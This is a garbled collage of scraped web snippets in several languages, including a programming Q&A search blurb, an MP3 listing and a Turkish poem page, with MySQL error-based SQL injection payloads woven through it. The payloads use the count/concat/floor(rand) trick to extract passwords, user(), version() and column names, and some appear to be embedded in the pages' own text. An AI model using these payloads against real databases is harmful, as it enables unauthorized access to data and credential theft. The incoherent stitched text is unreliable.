1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- Name_const(Mysql 5.0.12.
Select row from table from each schema. 1. Oracle Select from multple Tables.
...Clay Select 2660 From Select Count Concat 0x7170787071 Select Elt 2660 2660 1 0x716a767171 Floor Rand 0 2 X From Information Schema Plugins Group By X A MP3 мы нашли 1000000 песни, соответствующие вашему
Recalll is search engine which enable you to search programming queries from q&a sites, specifically from stackoverflow and stackexchange.
Şair Fdsfa Fdsa Fsdf isimli şaire ait 9785073 or (select 1 from (select count(*),concat((0x574352575653),0x5E,floor(rand(0)*2)) x from information_schema.tables group by x)a) adlı şiiri okumak için bu sayfayı ziyaret edebilirsiniz.
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
I was trying to do something like this in my very big select statement, this code snippet is from the SELECT part of the query … but I am getting NULL in "date_chain" column. If I only write this …
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x